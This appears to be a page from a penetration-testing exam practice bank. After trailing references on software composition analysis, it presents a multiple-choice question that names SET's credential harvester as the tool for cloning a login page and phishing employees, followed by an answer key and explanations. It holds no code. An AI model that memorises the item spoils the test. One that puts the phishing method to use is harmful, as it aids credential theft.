1. National Institute of Standards and Technology (NIST). (2022). Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST Special Publication 800-218). Section 4, Practice PW.8.1 states, "Use software composition analysis (SCA) tools to create a software bill of materials (SBOM) and check for known vulnerabilities in the softwareโ€™s components (e.g., libraries, modules, frameworks)."

2. Open Web Application Security Project (OWASP). (2021). OWASP Top 10:2021. A06:2021 โ€“ Vulnerable and Outdated Components. The "How to Prevent" section recommends using "software composition analysis (SCA) tools to help automate this process. Many SCA tools integrate into the CI/CD pipeline to identify outdated or vulnerable components during the build and compile phase."

3. Kaluarachchi, K. K. R. G. K. D. K., et al. (2021). "A Systematic Literature Review on Software Composition Analysis." IEEE Access, vol. 9, pp. 149393-149412. Section I (Introduction) defines SCA as "the process of identifying the open-source components in a codebase to evaluate security, license compliance, and code quality." (DOI: https://doi.org/10.1109/ACCESS.2021.3121618)

Question 30

[Tools and Code Analysis] A penetration tester launches an attack against company employees. The tester clones the company's intranet login page and sends the link via email to all employees. Which of the following best describes the objective and tool selected by the tester to perform this activity?
Options
A: Gaining remote access using BeEF
B: Obtaining the list of email addresses using theHarvester
C: Harvesting credentials using SET
D: Launching a phishing campaign using GoPhish
Show Answer
Correct Answer:
Harvesting credentials using SET
Explanation
The scenario describes a classic credential harvesting attack executed via phishing. The Social-Engineer Toolkit (SET) is a standard framework designed for social engineering attacks. It includes a specific "Credential Harvester Attack Method" that automates the process of cloning a target website (like an intranet login page), hosting the cloned page, and capturing any credentials entered by victims who are directed to it. This tool and its objective directly match the actions performed by the penetration tester.
Why Incorrect Options are Wrong

A. Gaining remote access using BeEF

BeEF (Browser Exploitation Framework) is used to hook and control a victim's browser for further exploitation, not primarily for harvesting credentials via a cloned web form.

B. Obtaining the list of email addresses using theHarvester

theHarvester is an open-source intelligence (OSINT) tool used during the reconnaissance phase to gather information like email addresses, not to execute the phishing attack itself.

D. Launching a phishing campaign using GoPhish

While GoPhish is a valid tool for phishing, "harvesting credentials" is a more specific and accurate objective for cloning a login page than the broader term "launching a phishing campaign."

---

References

1. Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). Metasploit: The Penetration Tester's Guide. No Starch Press.

Page 218, Chapter 10, "The Social-Engineer Toolkit": The text explicitly describes SET's "Credential Harvester Attack Method," stating, "The harvester is a great way to grab usernames and passwords from unsuspecting users... SET will create a clone of the website and when the victim enters his or her credentials, they will be posted back to a report..." This directly supports option C.

2. Engebretson, P. (2013). The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy (2nd ed.). Syngress.

Page 157, Chapter 6, "Social Engineering": This academic textbook details the use of SET for social engineering, highlighting the credential harvester as a key feature for phishing attacks aimed at stealing user credentials. It distinguishes this from tools like BeEF, which are covered in the context of client-side attacks.

3. Kali Linux Documentation. (n.d.). theHarvester. Kali.org.

Information Gathering Tools Section: The official documentation for Kali Linux (a standard penetration testing distribution) describes theHarvester as a tool for gathering emails, subdomains, hosts, employee names, open ports, and banners from different public sources (OSINT). This confirms it is a reconnaissance tool, making option B incorrect.

4. The BeEF Project. (n.d.). What is BeEF?. beefproject.com.

Official Project Website: The official documentation states, "BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser." It details hooking browsers to launch command modules, which is distinct from the credential harvesting method described in the question, making option A incorrect.

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